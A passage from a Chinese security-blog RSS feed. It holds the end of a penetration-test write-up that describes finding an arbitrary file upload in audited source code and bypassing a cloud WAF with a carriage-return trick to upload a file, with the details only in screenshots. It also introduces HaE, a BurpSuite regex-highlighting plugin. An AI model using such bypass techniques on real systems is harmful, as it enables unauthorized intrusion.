src="https://wechat2rss.xlab.app/img-proxy/?k=dedf576f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxxtBQDkePhDicla8gIh1UnLWToAhMnEpGPz9msZwoibwAuJTibibB8icYiaDlHoUg48g3iaRvsXIEYzgqyzA%2F640%3Fwx_fmt%3Dpng"/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">测试如下后缀及服务器结果:</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><pre style="white-space: pre-wrap;font-family: Consolas, Monaco, &#34;Andale Mono&#34;, &#34;Ubuntu Mono&#34;, monospace;border-radius: 0.3em;border-color: rgb(231, 222, 195);border-style: solid;border-width: 1px;line-height: 1.5;font-size: 0.9rem;margin: 0.5em 0px;padding: 1em;color: rgb(101, 123, 131);overflow: auto;background-color: rgb(253, 246, 227);text-align: left;word-spacing: 0px;word-break: normal;overflow-wrap: normal;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-indent: 0px;text-transform: none;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><code style="white-space: pre-wrap;font-family: Consolas, Monaco, &#34;Andale Mono&#34;, &#34;Ubuntu Mono&#34;, monospace;background-image: none;border-color: currentcolor;border-style: none;border-width: medium;font-size: 1em !important;color: rgb(101, 123, 131);text-align: left;word-spacing: normal;word-break: normal;overflow-wrap: normal;line-height: 1.5;">Key.jpg -&gt; 上传成功<br/>Key.php -&gt; 上传失败WAF拦截<br/>Key.phtml -&gt; 上传失败文件类型不允许<br/></code></pre><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p><img data-ratio="0.21518987341772153" data-w="948" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=9af4c030&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxxtBQDkePhDicla8gIh1UnLWUN3v2zjiauxZKkMoicyv18icQktSYTiaqsY9hY7fnoZydTjlUldbWILy5A%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><img data-ratio="0.22191011235955055" data-w="712" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=b37ed08d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxxtBQDkePhDicla8gIh1UnLWukCnTFib70U2IBzInZ6BicNoQZAGKeyQwFTFicdTzKRXlga6OVlnLglRg%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">我们在已经有源码的情况下，找到对应的代码进行审计就行，发现这里是白名单设置无法绕过:</span></p><p><br/></p><p><img data-ratio="0.12547528517110265" data-w="526" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=73ba55aa&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxxtBQDkePhDicla8gIh1UnLWKYHLHxCLDrhPPyVbiaNh55icoicI7S9XCzg0Z5wtPU556aCLeuhJaXMCg%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">直接关键词寻找上传功能，发现函数:</span><code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0px;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">xxx_upload_file</code><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">存在任意文件上传</span></p><p><br/></p><p><img data-ratio="0.315" data-w="400" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=bdf85fa3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxxtBQDkePhDicla8gIh1UnLWUyKo8YaGdUdxic4ZokDqx1ZUsChJqzibhoC1yxefhPWHIeSrib2bB2rZA%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">后续构建请求包以及使用回车直接绕过</span><code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0px;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">CloudWAF</code><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">，上传成功:</span></p><p><br/></p><p><img data-ratio="0.15885416666666666" data-w="384" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=27d50cf4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxxtBQDkePhDicla8gIh1UnLW9g9nUwtSmM3jdV4DaCC7rclFVxPRZ3ADow26QAT9FUcHkiaZMrqW6Fw%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><img data-ratio="0.30275229357798167" data-w="872" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=762b1464&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxxtBQDkePhDicla8gIh1UnLWCFbd7W8WG85Wqf8pYVG0fJ6pwlIooOUgt4NUZAULG55WgpMGLOfHZQ%2F640%3Fwx_fmt%3Dpng"/><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">至此靶标拿到，结束。</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><h1 style="text-rendering: optimizeLegibility;margin-bottom: 1rem;font-weight: bold;line-height: 1.8rem;padding-top: 1rem;padding-bottom: 0.2rem;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(238, 238, 238);font-size: 1.6rem;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">文末</h1><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">很多时候还是需要去探寻事物的本质和原理，才能更加清晰明了的了解这个事物，否则什么东西都是现有的成品一把梭，遇到梭不了，容易出现惯性思维，可能就直接略过了。</p>



<p><a href="2247483790">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=60bec012&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4OTM2ODgyMw%3D%3D%26mid%3D2247483790%26idx%3D1%26sn%3D28c4f7da4d498bf265360d029827eef1%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sun, 22 Nov 2020 00:16:00 +0800</pubDate>
    </item>
    <item>
      <title>BurpSuite插件：HaE - 信息高亮标记与提取</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4OTM2ODgyMw==&amp;mid=2247483732&amp;idx=1&amp;sn=cfdadafc6de1e109f9951fb3c2c4eb21</link>
      <description>HaE - Highlighter and Extractor介绍HaE是基于 BurpSuite 插件 J</description>
      <content:encoded><![CDATA[<p>
原创 <span>EvilChen</span> <span>2020-09-14 16:52</span> <span style="display: inline-block;"></span>
</p>

<p>HaE - Highlighter and Extractor介绍HaE是基于 BurpSuite 插件 J</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=c1c6db55&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQgqjbLiaSQxzdfbV3JufkUcWSsiaUb0CpAJjAlwVfGF87catXAhubvxL32HuqBqrfNPH2iac7HmAbzNqhGdp3Kibnw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h1 style="  text-rendering: optimizeLegibility;margin-bottom: 1rem;font-weight: bold;line-height: 1.8rem; padding-top: 1rem;padding-bottom: 0.2rem;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(238, 238, 238);font-size: 1.6rem;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; ">HaE - Highlighter and Extractor</h1><h2 style="  text-rendering: optimizeLegibility;margin-bottom: 1rem;font-weight: bold;line-height: 1.8rem; padding-top: 0.8rem;padding-bottom: 0.2rem;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(238, 238, 238);font-size: 1.4rem;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; ">介绍</h2><p style=" caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0); font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; "><strong>HaE</strong>是基于<span> </span><code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">BurpSuite</code><span> </span>插件<span> </span><code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">JavaAPI</code><span> </span>开发的请求高亮标记与信息提取的辅助型插件。</p><p style=" caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0); font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; "><br/></p><p style=" caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0); font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; "><img data-ratio="0.6560747663551402" data-w="2140" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=a3242511&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxzdfbV3JufkUcWSsiaUb0CpACUsyv0P9qibydjYDAns9j9bu7C0Yt8ticabVwAftx0Cu1W0mD30uibyyg%2F640%3Fwx_fmt%3Dpng"/><br/></p><p style=" caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0); font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; "><br/></p><p style=" caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0); font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; ">该插件可以通过自定义正则的方式匹配<strong>响应报文</strong>，可以自行决定符合该自定义正则匹配的相应请求是否需要高亮标记、信息提取。</p><p style=" caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0); font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; ">注：<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">HaE</code>的使用，对测试人员来说需要基本的正则表达式基础，由于<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">Java</code>正则表达式的库并没有<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">Python</code>的优雅或方便，在使用正则的，HaE要求使用者必须使用<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">()</code>将所需提取的表达式内容包含；例如你要匹配一个<strong>Shiro应用</strong>的响应报文，正常匹配规则为<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">rememberMe=delete</code>，如果你要提取这段内容的话就需要变成<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">(rememberMe=delete)</code>。</p><h2 style="  text-rendering: optimizeLegibility;margin-bottom: 1rem;font-weight: bold;line-height: 1.8rem; padding-top: 0.8rem;padding-bottom: 0.2rem;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(238, 238, 238);font-size: 1.4rem;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; ">使用方法</h2><p style=" caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0); font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; ">插件装载：<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">Extender - Extensions - Add - Select File - Next</code></p><p style=" caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0); font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; ">初次装载<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">HaE</code>会初始化配置文件，默认配置文件内置一个正则：<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">Email</code>，初始化的配置文件会放在与<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">BurpSuite Jar</code>包同级目录下。</p><p style=" caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0); font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; "><br/></p><p style=" caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0); font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; "><img data-ratio="1.1848484848484848" data-w="660" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=b16301c3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxzdfbV3JufkUcWSsiaUb0CpAKBsicjp2Wy7JsFhO23kXyl2bPc8uM98EhdwffoEpATEr5dxG4qaKlng%2F640%3Fwx_fmt%3Dpng"/></p><p style=" caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0); font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; "><br/></p><p style=" caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0); font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; ">除了初始化的配置文件外，还有<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">init.hae</code>，该文件用于存储配置文件路径；<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">HaE</code>支持自定义配置文件路径，你可以通过点击<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">Select File</code>按钮进行选择自定义配置文件。</p><p style=" caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0); font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; "><br/></p><p style=" caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0); font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; "><img data-ratio="0.07966457023060797" data-w="954" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=e3a28b84&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxzdfbV3JufkUcWSsiaUb0CpAYCVC0J2ZdeMnz1fl3vqficTYMbxZeaM3Hu2QsBocQaF11iaNhI0F23CA%2F640%3Fwx_fmt%3Dpng"/></p><p style=" caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0); font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; "><br/></p><p style=" caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0); font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; ">HaE支持三个动作：</p><ol style=" caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0); font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; " class="list-paddingleft-2"><li><p>重载规则（Reload）：当你不使用HaE UI界面去修改配置文件内的规则时，而是直接基于配置文件进行修改规则时可使用；</p></li><li><p>新建规则（New）：新建规则会自动添加一行表格数据，单击或双击进行修改数据即可自动保存；</p></li><li><p>删除规则（Delete）：单击选中某条规则时，按下该按钮即可删除规则。</p></li></ol><p style=" caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0); font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; ">注：HaE的操作都是基于表单UI的方式，操作即会自动保存。</p><h2 style="  text-rendering: optimizeLegibility;margin-bottom: 1rem;font-weight: bold;line-height: 1.8rem; padding-top: 0.8rem;padding-bottom: 0.2rem;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(238, 238, 238);font-size: 1.4rem;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; ">插件优点</h2><ol style=" caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0); font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 